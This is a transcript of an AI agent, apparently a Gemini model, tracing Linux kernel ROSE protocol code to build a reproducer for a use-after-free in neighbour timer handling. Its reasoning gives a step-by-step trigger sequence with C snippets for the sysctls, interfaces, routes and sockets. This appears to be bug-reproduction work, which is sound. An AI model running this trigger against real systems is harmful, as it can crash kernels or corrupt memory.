 113:			.extra2		= &max_window
 114:		},
 115:	};
 SourceFile:net/rose/sysctl_net_rose.c]

gemini-3.1-pro-preview

							input: 49939
							output: 44
							thoughts: 14
						

Okay, here's my interpretation of those thoughts, crafted with the understanding that I'm speaking to a fellow expert:

**Understanding Timing Parameters**

Alright, so the core question here is the meaning of `min_timer` and `max_timer`. I'm immediately thinking about what context they're being used in. Are we talking about event scheduling, network timeouts, performance metrics, or something else entirely? The actual domain is crucial.

I need to understand if these represent absolute values (like seconds, milliseconds, clock cycles) or are they relative (e.g., percentages, normalized ranges). Are they inclusive or exclusive bounds? The level of precision is also important here. Are we expecting whole numbers or floating-point values?

Then I'm trying to figure out if these timers are related to *user-defined configurations* or *system-generated constraints*. Are they parameters that can be tweaked by external processes, or are they hard-coded limits imposed by the underlying architecture? The answers will change the way I interpret how the system works.

Also, what does the timer do? Does `min_timer` represent a deadline or a grace period? Does `max_timer` define a maximum retry interval, a timeout value for a slow operation, or something else? Understanding the *purpose* behind the timers is key to their proper interpretation and analysis.

map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:min_timer]

map[SourceCode:  12:	static int min_timer[]  = {1 * HZ};
 SourceFile:net/rose/sysctl_net_rose.c]

gemini-3.1-pro-preview

							input: 50335
							output: 45
							thoughts: 451
						

**Analyzing Timer Settings and Their Implications**

Okay, so I'm looking at these timer values, specifically `min_timer`. It's defined as `1 * HZ`, which translates to one second, given a typical HZ value. But, wait, I need to make sure I'm understanding the units here. The `sysctl` values, are they in milliseconds? Yes, confirmed. `sysctl_rose_restart_request_timeout` is 180000.  But, we use `msecs_to_jiffies(sysctl_rose_restart_request_timeout)` – that should be 180 seconds, right?

Alright, let's step back. `min_timer` is `1 * HZ`, and `HZ` can be, say, 100, 250, or 1000. This is important. If `min_timer` is effectively the lower bound, then any write will be at least `HZ` (e.g., if HZ is 1000, 1000).  If I write 1000, that's just `msecs_to_jiffies(1000)`, or 1 second. Correct, `sysctl_rose_restart_request_timeout` is *indeed* in milliseconds. And so, if `HZ` is 1000, the minimum value to be written is 1000 ms. If HZ is 100, then the minimum is 100 ms.

Okay, so I can set both to 1000 ms (1 second) or 2000 ms (2 seconds), depending on the requirements. Now, the practical implication is that if `clear_request_timeout` is set to 1000 and `restart_request_timeout` to 2000, the timer `t3timer` will expire in 1 second, and `t0timer` will expire in 2 seconds. That's a reasonable set of values.  Wait, I need to be sure.  `t3timer` is started with `sysctl_rose_clear_request_timeout`. Okay, let me confirm. I should check `rose_start_t3timer` to be certain.

map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_start_t3timer]

map[SourceCode:  66:	void rose_start_t3timer(struct sock *sk)
  67:	{
  68:		struct rose_sock *rose = rose_sk(sk);
  69:	
  70:		sk_stop_timer(sk, &rose->timer);
  71:	
  72:		rose->timer.function = rose_timer_expiry;
  73:		rose->timer.expires  = jiffies + rose->t3;
  74:	
  75:		sk_reset_timer(sk, &rose->timer, rose->timer.expires);
  76:	}
 SourceFile:net/rose/rose_timer.c]

gemini-3.1-pro-preview

							input: 51519
							output: 56
							thoughts: 22
						

Here's my thought process, summarized as you requested:

**Tracking Down a Potential Issue**

Okay, hold on a second... I see that `rose->t3` is actually being *used*. That's a key piece of information. The immediate question becomes: where exactly is `rose->t3` getting initialized? I need to trace back and find the point of origin. Understanding the initialization process is crucial to diagnosing any potential problems or unexpected behavior associated with that specific data member. It's time to dig deeper!

map[ContextFile:net/rose/af_rose.c IncludeSnippetLines:0 Name:sysctl_rose_clear_request_timeout SourceTreePrefix:]

map[References:<nil> TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 51725
							output: 24
							thoughts: 25
						

Okay, here's my interpretation of that thought process, tailored for an expert audience, and presented as if it were my own internal monologue:

**Investigating a Rose Protocol Timeout**

Alright, hang on a second... before I dive too deep into the broader network behavior, I should try something more targeted. That timeout issue... I have a hunch it might be related to the ROSE protocol, and likely configured in sysctl settings. So, let me quickly pivot and search the `net/rose/` directory within the kernel source. Specifically, I'm going to look for a symbol or setting related to the "clear request timeout." I'll use `sysctl_rose_clear_request_timeout` as my initial search query. That's a pretty specific term, and should bring me straight to the relevant area if it exists. This approach feels like a more efficient starting point than a broad, generic search. Hopefully, that will give me a quick understanding.

map[Expression:sysctl_rose_clear_request_timeout]

map[Output:include/net/rose.h=174=extern int  sysctl_rose_reset_request_timeout;
include/net/rose.h:175:extern int  sysctl_rose_clear_request_timeout;
include/net/rose.h-176-extern int  sysctl_rose_no_activity_timeout;
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
--
net/rose/af_rose.c=546=static int rose_create(struct net *net, struct socket *sock, int protocol,
--
net/rose/af_rose.c-579-	rose->t2   = msecs_to_jiffies(sysctl_rose_reset_request_timeout);
net/rose/af_rose.c:580:	rose->t3   = msecs_to_jiffies(sysctl_rose_clear_request_timeout);
net/rose/af_rose.c-581-	rose->hb   = msecs_to_jiffies(sysctl_rose_ack_hold_back_timeout);
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-53-		.procname	= "clear_request_timeout",
net/rose/sysctl_net_rose.c:54:		.data		= &sysctl_rose_clear_request_timeout,
net/rose/sysctl_net_rose.c-55-		.maxlen		= sizeof(int),
]

gemini-3.1-pro-preview

							input: 52460
							output: 45
							thoughts: 991
						

**UAF Hunting in the ROSE Protocol: A Planned Exploitation**

Okay, so I've been digging into this ROSE protocol code, and it looks like we can create a nice little Use-After-Free condition. Here's the breakdown of how I think we can trigger it. First, I noticed that `rose->t3` is initialized using `sysctl_rose_clear_request_timeout` in the `rose_create` function.  So, if we change the sysctl value *before* socket creation, we're in business. Now, the `t0timer` uses `sysctl_rose_restart_request_timeout` directly in `rose_start_t0timer`. This is key.

Here's the plan: We set `sysctl_rose_clear_request_timeout` to 1000 milliseconds (1 second) and `sysctl_rose_restart_request_timeout` to 2000 milliseconds (2 seconds). The core idea is to make the `t3timer` expire *before* the `t0timer`.

If `t3timer` expires in 1 second and `t0timer` expires in 2 seconds, `t3timer` will expire first.  When `t3timer` expires, it calls `rose_neigh_put`, which frees the `rose_neigh` structure. Then, a second later, `t0timer` expires and tries to access that freed memory. Bingo, a Use-After-Free!

Now, let's nail down the precise steps to make this happen:

1.  Set `/proc/sys/net/rose/clear_request_timeout` to 1000.
2.  Set `/proc/sys/net/rose/restart_request_timeout` to 2000.
3.  Create an AX.25 interface (e.g., `ax0`) using `mkiss` and bring it up.
4.  Add a ROSE route to the `ax0` interface.
5.  Create a ROSE socket.
6.  Connect the ROSE socket to the route (non-blocking). This sets `rose->neighbour` and starts `t0timer` (expires in 2s, based on our sysctl).
7.  Now, the crucial part: Delete the ROSE route.  This should remove `rose_neigh` and stop `t0timer`. I need to ensure this is correct - `rose_del_node` calls `rose_remove_neigh`, which stops `t0timer`.
8.  Here's the problem: if `t0timer` is stopped, it can't expire! So, we need to *restart* it.  How do we restart `t0timer`? It looks like we can restart t0timer by calling `rose_write_internal` or `rose_transmit_link`. If we close the socket, `rose_release` calls `rose_write_internal(sk, ROSE_CLEAR_REQUEST)`. This then calls `rose_transmit_link`, and that's the ticket! `rose_transmit_link` should restart `t0timer` (2s timeout), and then `rose_release` starts `t3timer` (1s timeout).

So, the new sequence:
*   Connect socket (starts `t0timer` for 2s, but it's stopped when route is deleted)
*   Delete route (stops `t0timer`).
*   Close socket (restarts `t0timer` for 2s *and* starts `t3timer` for 1s).
*   Wait 3 seconds.
*   `t3timer` expires (at 1s), frees `rose_neigh`.
*   `t0timer` expires (at 2s), and *boom* - Use-After-Free!

Hold on, I need to verify that `rose_release` *does* start `t3timer`. Okay, yes, it does, based on the code: `case ROSE_STATE_1: ... rose_start_t3timer(sk);`.  And I should check the logic in `rose_transmit_link`. Crucially, `rose_transmit_link` checks `!rose_t0timer_running(neigh)`. Since `t0timer` was stopped by `rose_remove_neigh`, `rose_t0timer_running` returns false, so `t0timer` will be restarted when `rose_release` calls `rose_write_internal` and therefore `rose_transmit_link`! I just need to double-check `rose_t0timer_running` to be sure. This should work!

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_running]

map[SourceCode:  70:	static int rose_t0timer_running(struct rose_neigh *neigh)
  71:	{
  72:		return timer_pending(&neigh->t0timer);
  73:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 54598
							output: 86
							thoughts: 823
						

**Refining the Reproducer for the ROSE Driver Bug**

Okay, so I'm pretty sure `timer_pending` will return `false` in the scenario we're troubleshooting because `timer_delete_sync` was called within `rose_remove_neigh`. That's a key observation. Now, let's nail down these reproducer steps more precisely, focusing on the interactions within the ROSE and AX.25 stack.

First, I need to make sure I'm creating the right environment. I'll start by opening `/dev/ptmx` and setting the line discipline to `N_AX25` (5) which will create `ax0`. Then, I'll bring `ax0` up using `ifconfig ax0 up`, or, I can use an ioctl.

Next, I need to configure the system to behave as it should. So, I will set these sysctls: `clear_request_timeout` to 1000 and `restart_request_timeout` to 2000. These values should influence how the ROSE protocol handles connection attempts and retries.

Now, I'll create a ROSE socket using `socket(AF_ROSE, SOCK_SEQPACKET, 0)`. That will be the interface to interact with the protocol.

I'm thinking that I have to add a ROSE route, so I'll create a route structure:

```c
struct rose_route_struct route;
memset(&route, 0, sizeof(route));
route.address.rose_addr[0] = 1;
route.mask = 5;
route.neighbour.ax25_call[0] = 'A' << 1;
route.neighbour.ax25_call[1] = 'B' << 1;
route.neighbour.ax25_call[2] = 'C' << 1;
route.neighbour.ax25_call[3] = 'D' << 1;
route.neighbour.ax25_call[4] = 'E' << 1;
route.neighbour.ax25_call[5] = 'F' << 1;
route.neighbour.ax25_call[6] = 0;
strcpy(route.device, "ax0");
ioctl(sock, SIOCADDRT, &route);
```

Wait a second, I just recalled that AX.25 callsigns have to be shifted by 1 bit! So, when I define the `ax25_call`, it must be `'A' << 1`, etc. That's a gotcha!

Then, I'll connect the socket to the route:

```c
struct sockaddr_rose saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.srose_family = AF_ROSE;
saddr.srose_addr = route.address;
saddr.srose_call = route.neighbour;
fcntl(sock, F_SETFL, O_NONBLOCK);
connect(sock, (struct sockaddr *)&saddr, sizeof(saddr));
```

Next, I need to delete the route:

```c
ioctl(sock, SIOCDELRT, &route);
```

And finally close the socket:

```c
close(sock);
```

I'll add a little delay after closing the socket, maybe `sleep(3)`, to allow any timers to expire.

Now, a critical point... I'm wondering if `connect` requires a `bind` call first. That's a crucial detail. I'll go back to the code and check inside `rose_connect`. I'm seeing that, if the socket has the `SOCK_ZAPPED` flag set, it attempts to bind first. If it can't find a device, it calls `rose_dev_first()`. Hmmm...

`rose_dev_first()` returns the first ROSE device. Does that mean `rose0` always exists, or do I need to explicitly create it? Is `rose0` created when the `rose` module is loaded? I should check how `rose_dev_first` and `rose_ndevs` are implemented and initialized. That will determine whether or not binding is necessary. If not, the auto-binding in `rose_connect` should be sufficient and may hide some of the issues.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_dev_first]

map[SourceCode: 604:	/*
 605:	 *	Find the first active ROSE device, usually "rose0".
 606:	 */
 607:	struct net_device *rose_dev_first(void)
 608:	{
 609:		struct net_device *dev, *first = NULL;
 610:	
 611:		rcu_read_lock();
 612:		for_each_netdev_rcu(&init_net, dev) {
 613:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE)
 614:				if (first == NULL || strncmp(dev->name, first->name, 3) < 0)
 615:					first = dev;
 616:		}
 617:		if (first)
 618:			dev_hold(first);
 619:		rcu_read_unlock();
 620:	
 621:		return first;
 622:	}
 SourceFile:net/rose/rose_route.c]

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_ndevs]

map[SourceCode:  47:	static int rose_ndevs = 10;
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 56818
							output: 41
							thoughts: 168
						

**My Initial Thoughts on ROSE Device Initialization**

Okay, so I'm looking at how these ROSE network devices are set up, and a few things immediately jump out. I see that `af_rose` creates a set of, let's say, `rose_ndevs` which is initialized to 10 devices. But wait, just because they're *created* doesn't mean they're actually *active*. The code I'm examining appears to use `rose_dev_first` to iterate, and it checks the `dev->flags` to see if `IFF_UP` is set. Right, so that means we'll likely need to bring `rose0` up manually.

Alright, here’s how they've likely handled that: using an `ifreq` struct and ioctls to manipulate the interface flags.  They probably use `SIOCGIFFLAGS` to get the current flags, set the `IFF_UP` bit, and then use `SIOCSIFFLAGS` to apply the changes. Makes sense.

But wait, wouldn't we also need to assign an address to the interface? Hmm, `rose_setup` might be handling that. Let's dig into that function next to confirm how the address is configured.  I'll start with that, just to make sure we're getting this right.

map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_setup]

map[SourceCode: 129:	void rose_setup(struct net_device *dev)
 130:	{
 131:		dev->mtu		= ROSE_MAX_PACKET_SIZE - 2;
 132:		dev->netdev_ops		= &rose_netdev_ops;
 133:	
 134:		dev->header_ops		= &rose_header_ops;
 135:		dev->hard_header_len	= AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN;
 136:		dev->addr_len		= ROSE_ADDR_LEN;
 137:		dev->type		= ARPHRD_ROSE;
 138:	
 139:		/* New-style flags. */
 140:		dev->flags		= IFF_NOARP;
 141:	}
 SourceFile:net/rose/rose_dev.c]

gemini-3.1-pro-preview

							input: 57581
							output: 49
							thoughts: 161
						

**Debugging the Rose Connection Failure**

Okay, so the Rose connection isn't setting a default address, which is obviously a problem. Let's see... Wait a minute, `rose_connect` *should* handle this. Ah, here it is:

```c
		user = ax25_findbyuid(current_euid());
		if (!user) {
			err = -EINVAL;
			rose_neigh_put(rose->neighbour);
			dev_put(dev);
			goto out_release;
		}
```

Right, it checks `ax25_findbyuid` using the current effective UID. It looks like the issue is that this function isn't finding anything. We've got a UID association problem! If `ax25_findbyuid` returns NULL, it bails out. No UID association, no connection.

So, how do we *create* an AX.25 UID association in the first place? Think, think...Ah, of course! It's the `SIOCAX25ADDUID` ioctl on an AX.25 socket. That's the way to do it. Let's dig into `ax25_uid_ioctl` and see what's happening there.

map[ContextFile:net/ax25/ax25_uid.c IncludeLines:true Name:ax25_uid_ioctl]

map[SourceCode:  69:	int ax25_uid_ioctl(int cmd, struct sockaddr_ax25 *sax)
  70:	{
  71:		ax25_uid_assoc *ax25_uid;
  72:		ax25_uid_assoc *user;
  73:		unsigned long res;
  74:	
  75:		switch (cmd) {
  76:		case SIOCAX25GETUID:
  77:			res = -ENOENT;
  78:			read_lock(&ax25_uid_lock);
  79:			ax25_uid_for_each(ax25_uid, &ax25_uid_list) {
  80:				if (ax25cmp(&sax->sax25_call, &ax25_uid->call) == 0) {
  81:					res = from_kuid_munged(current_user_ns(), ax25_uid->uid);
  82:					break;
  83:				}
  84:			}
  85:			read_unlock(&ax25_uid_lock);
  86:	
  87:			return res;
  88:	
  89:		case SIOCAX25ADDUID:
  90:		{
  91:			kuid_t sax25_kuid;
  92:			if (!capable(CAP_NET_ADMIN))
  93:				return -EPERM;
  94:			sax25_kuid = make_kuid(current_user_ns(), sax->sax25_uid);
  95:			if (!uid_valid(sax25_kuid))
  96:				return -EINVAL;
  97:			user = ax25_findbyuid(sax25_kuid);
  98:			if (user) {
  99:				ax25_uid_put(user);
 100:				return -EEXIST;
 101:			}
 102:			if (sax->sax25_uid == 0)
 103:				return -EINVAL;
 104:			if ((ax25_uid = kmalloc_obj(*ax25_uid)) == NULL)
 105:				return -ENOMEM;
 106:	
 107:			refcount_set(&ax25_uid->refcount, 1);
 108:			ax25_uid->uid  = sax25_kuid;
 109:			ax25_uid->call = sax->sax25_call;
 110:	
 111:			write_lock(&ax25_uid_lock);
 112:			hlist_add_head(&ax25_uid->uid_node, &ax25_uid_list);
 113:			write_unlock(&ax25_uid_lock);
 114:	
 115:			return 0;
 116:		}
 117:		case SIOCAX25DELUID:
 118:			if (!capable(CAP_NET_ADMIN))
 119:				return -EPERM;
 120:	
 121:			ax25_uid = NULL;
 122:			write_lock(&ax25_uid_lock);
 123:			ax25_uid_for_each(ax25_uid, &ax25_uid_list) {
 124:				if (ax25cmp(&sax->sax25_call, &ax25_uid->call) == 0)
 125:					break;
 126:			}
 127:			if (ax25_uid == NULL) {
 128:				write_unlock(&ax25_uid_lock);
 129:				return -ENOENT;
 130:			}
 131:			hlist_del_init(&ax25_uid->uid_node);
 132:			ax25_uid_put(ax25_uid);
 133:			write_unlock(&ax25_uid_lock);
 134:	
 135:			return 0;
 136:	
 137:		default:
 138:			return -EINVAL;
 139:		}
 140:	
 141:		return -EINVAL;	/*NOTREACHED */
 142:	}
 SourceFile:net/ax25/ax25_uid.c]

gemini-3.1-pro-preview

							input: 59240
							output: 41
							thoughts: 241
						

**My Line of Reasoning**

Okay, so I'm looking at this `SIOCAX25ADDUID` ioctl and it's hitting me that it specifically *needs* `sax->sax25_uid` to be non-zero. That immediately flags a potential security issue. Does this mean we're forced to run as a non-root user? Or, could we work around it by initially setting `sax25_uid` to my user ID (say, 1000), running with root privileges (or at least `CAP_NET_ADMIN`), and then dropping to my actual UID (1000) *before* the `connect` call?

But hold on, isn't `current_euid()` used in `rose_connect`? That throws a wrench into the works. If I run as root (UID 0), the `ax25_findbyuid(0)` call will *definitely* fail because, as we established, `SIOCAX25ADDUID` blocks `sax25_uid == 0`. So, yes, it looks like I *must* call `setuid()` to a non-zero UID before invoking `connect`.

Wait, there is another way! Could I just bind the socket explicitly? If I use `bind()` before `connect()`, it looks like `SOCK_ZAPPED` is cleared, and `rose_connect` will then skip the `rose_dev_first` and `ax25_findbyuid` block entirely. That seems like a solid alternative path. Let me go take a closer look at `rose_bind` and see if that is a workable solution.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 60994
							output: 43
							thoughts: 99
						

**ROSE Device Address Dilemma**

Okay, so I'm diving into this ROSE device binding process. The core of it, from what I can tell, hinges on successfully retrieving a device using `rose_dev_get` after a `bind()` call. Clearly, `rose_dev_get` is the function that needs to locate the ROSE device associated with the address I provide. But here's the snag: I'm realizing that `rose_setup`, the function that presumably initializes this stuff, doesn't actually assign an address to the device! So, that's a problem.

Now I'm thinking, how *do* I set the address for a ROSE device then? Hmm, could it be the `SIOCSIFHWADDR` ioctl on a ROSE socket? It seems like the most logical path. It is time to double check how `rose_dev_get` works under the hood. I had better get familiar with `rose_dev_get`.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_dev_get]

map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 61653
							output: 44
							thoughts: 573
						

**My ROSE Configuration Thoughts**

Okay, so I need to set up this ROSE interface.  First, yes, I can definitely set the hardware address of `rose0` using `SIOCSIFHWADDR`. The code snippet confirms that: I can construct an `ifreq` struct, populate it with the ROSE family and the desired MAC address (let's say `01:00:00:00:00` for now), and then use `ioctl` to apply it.  That seems straightforward.

Then, I'll need to bring `rose0` up. Simple `ifconfig` or `ip link set` should handle that.

Crucially, it looks like I *must* `bind()` the socket to the configured hardware address. I was initially wondering if I could skip that, but looking deeper, it seems if I don't bind, the `rose_connect` function checks `ax25_findbyuid` and fails if it returns NULL. That would be a problem.  If I *do* bind, then `ax25_findbyuid` is called, but `ax25_uid_policy` is checked as well, but it's probably 0 by default, which means the bind *should* work.  It looks like I'll need to bind the socket to the newly configured hardware address.

Let me summarize the plan to make sure I have all the steps right:

1.  **Create `ax0`:**  Using `mkiss` with line discipline 5. That's my underlying AX.25 link.
2.  **Bring `ax0` up:** Make sure the AX.25 interface is active.
3.  **Set `rose0` hardware address:** Using `SIOCSIFHWADDR` (as discussed) to `01:00:00:00:00`.
4.  **Bring `rose0` up:** Enable the ROSE interface.
5.  **Set sysctls:**  I need to set the `clear_request_timeout` and `restart_request_timeout` sysctls for ROSE. Let's make them 1000 and 2000 respectively. That's important for the connection timing.
6.  **Create a ROSE socket:** Standard socket creation.
7.  **`bind()` the socket:**  Bind the socket to `01:00:00:00:00` (the hardware address I just configured). This is critical!
8.  **Add a ROSE route:** Add a route to `ax0` for the destination `02:00:00:00:00`.
9.  **`connect()` the socket:**  `connect()` the socket to `02:00:00:00:00`, using non-blocking mode.
10. **Delete the ROSE route:**  Remove the route I just added.
11. **`close()` the socket:** Close the ROSE socket.
12. **Wait 3 seconds.** Give everything time to settle.

Finally, let me double-check that `SIOCSIFHWADDR` is supported for `rose0`. I'll need to check the `rose_netdev_ops` structure. Does `ndo_set_mac_address` exist? If it does, then the hardware address setting should work. I need to verify that; it's a vital part of the setup.

map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_netdev_ops]

map[SourceCode: 122:	static const struct net_device_ops rose_netdev_ops = {
 123:		.ndo_open		= rose_open,
 124:		.ndo_stop		= rose_close,
 125:		.ndo_start_xmit		= rose_xmit,
 126:		.ndo_set_mac_address    = rose_set_mac_address,
 127:	};
 SourceFile:net/rose/rose_dev.c]

gemini-3.1-pro-preview

							input: 63167
							output: 45
							thoughts: 150
						

**Analyzing the `rose_set_mac_address` Function**

Okay, so I see that `rose_set_mac_address` is indeed supported, that's good. Now, let's break this down.

Looking at the code:

```c
static int rose_set_mac_address(struct net_device *dev, void *addr)
{
	struct sockaddr *sa = addr;
	int err = mac_pton(sa->sa_data, dev->dev_addr);
	if (err)
		return err;
	return 0;
}
```

My initial thought is to confirm how this function works. It seems `rose_set_mac_address` takes a `net_device` and a `void*` pointer `addr` which is likely a `struct sockaddr`. Inside, it casts the `void*` to `struct sockaddr*`. It looks like it calls `mac_pton`, passing `sa->sa_data` (which presumably holds the MAC address data) and the device's `dev_addr` buffer.

Aha! Now I see what's going on. I need to be careful with the implications of the use of `mac_pton`. Doesn't `mac_pton` expect the input to be a string like "00:11:22:33:44:55"? Ah, yes, it does parse a string representing the MAC address! Therefore, `sa->sa_data` must contain a string representation of the MAC address. Right, that makes sense.

Essentially, `rose_set_mac_address` will:
1.  Receive a `struct sockaddr` containing a MAC address (string)
2.  Parse the MAC address string into binary format using `mac_pton`
3.  Store the resulting binary MAC address into the device's `dev_addr` field.

map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_set_mac_address]

map[SourceCode:  56:	static int rose_set_mac_address(struct net_device *dev, void *addr)
  57:	{
  58:		struct sockaddr *sa = addr;
  59:		int err;
  60:	
  61:		if (!memcmp(dev->dev_addr, sa->sa_data, dev->addr_len))
  62:			return 0;
  63:	
  64:		if (dev->flags & IFF_UP) {
  65:			err = rose_add_loopback_node((rose_address *)sa->sa_data);
  66:			if (err)
  67:				return err;
  68:	
  69:			rose_del_loopback_node((const rose_address *)dev->dev_addr);
  70:		}
  71:	
  72:		dev_addr_set(dev, sa->sa_data);
  73:	
  74:		return 0;
  75:	}
 SourceFile:net/rose/rose_dev.c]

gemini-3.1-pro-preview

							input: 64063
							output: 44
							thoughts: 1208
						

**Reproducing the ROSE Route Issue**

Okay, so looking at this, it seems that `SIOCSIFHWADDR` simply copies `sa->sa_data`. This means the `SIOCSIFHWADDR` operation works as expected. Let's move ahead.

I need to write a C program to reproduce the issue. Let's start sketching it out, I'll need to create a test case.

The plan is this. First I'll create an ax0 interface. Then I'll bring the ax0 interface up. Next I'll set a MAC address on the rose0 interface and bring that up. After that, I will set some sysctls. Then I will create a ROSE socket. With the socket created, I'll bind it to the rose0 address. Next I'll add a ROSE route. I'll connect to that route in a non-blocking manner. After connecting, I'll delete the route. Finally, I'll close the socket, which, as I understand, will kick off the timers. I'll wait for those timers to expire. I'm going to sleep for a bit to ensure it doesn't immediately fail.

I think I need a `rose_route_struct`. *checks for* `<linux/rose.h>`. Let me confirm the definition of `rose_route_struct`.

map[ContextFile:include/uapi/linux/rose.h IncludeLines:true Name:rose_route_struct]

map[SourceCode:  66:	struct rose_route_struct {
  67:		rose_address	address;
  68:		unsigned short	mask;
  69:		ax25_address	neighbour;
  70:		char		device[16];
  71:		unsigned char	ndigis;
  72:		ax25_address	digipeaters[AX25_MAX_DIGIS];
  73:	};
 SourceFile:include/uapi/linux/rose.h]

gemini-3.1-pro-preview

							input: 65745
							output: 21
							thoughts: 5146
						

**UAF in ROSE protocol t0 Timer Expiry**

Alright, let's break this down step-by-step. The goal is to trigger a use-after-free vulnerability in the ROSE protocol, specifically tied to the `t0timer` used for retransmissions. The core idea is to carefully orchestrate events such that a `rose_neigh` structure, which represents a network neighbor, is freed before a timer associated with it, the `t0timer`, expires.

First, we establish some setup. We're dealing with a `sockaddr_rose` structure and we know that we can bind and connect using it. The key constraint is to ensure that `srose_ndigis` is appropriately set in `bind` and that `SOCK_ZAPPED` is cleared in a `bind()` operation. We create a ROSE socket and bind it to a local ROSE address (e.g., `rose0` with address `1`), and create a route to another address (`2`), which will be the destination of our connection.

We'll use a standard, non-blocking `connect()` call. This triggers the initial connection establishment sequence. We expect `connect()` to return `-EINPROGRESS` because of `O_NONBLOCK`.  This is key, since that return lets us move on to the next phases. During `connect()`, a route is found,  the `rose_neigh` structure is set, and a `t0timer` is started on the neighbor.  That is critical.

The next step is to delete the route we added using `ioctl(SIOCDELRT)`. This removes the network route and, importantly, decrements the refcount of the `rose_neigh`. Because the `t0timer` is still running, and the refcount of `neigh` becomes 0,  it calls `rose_remove_neigh(neigh)` and `timer_delete_sync` is called which stops the `t0timer`. Finally, the `neigh` structure is freed. We want to be sure this is successful by checking that the route is correctly deleted and the reference count is decremented.

Then, we `close()` the socket. This triggers the close sequence of the ROSE connection, and will call `rose_release`. At this point, the connection state is `ROSE_STATE_1`. `rose_release` calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`. `rose_transmit_link` gets called and restarts the stopped `t0timer`. This restart is critical to the vulnerability. Also, `t3timer` is started with `sysctl_rose_clear_request_timeout` on the sk. The `t0timer` will restart using `sysctl_rose_restart_request_timeout` as its timeout. These two timers are now running.

Here's the setup for the exploit: we will set `clear_request_timeout` and `restart_request_timeout` to 1000 and 2000 milliseconds respectively. This guarantees that `t3timer` will expire first (after 1000ms), which calls `rose_timer_expiry` and which decrements the `rose_neigh` refcount, causing `neigh` to be freed. After `t3timer` expires, `rose_neigh` refcount becomes 0.

Now, after 2000ms, the `t0timer` expires. The kernel calls `rose_t0timer_expiry`. However,  the `rose_neigh` that `t0timer` was associated with has been freed. Inside `rose_transmit_restart_request`, an skb is allocated for transmission and then passed to `rose_send_frame` which accesses `neigh->ax25`, resulting in a use-after-free read or write, a KASAN detected error.

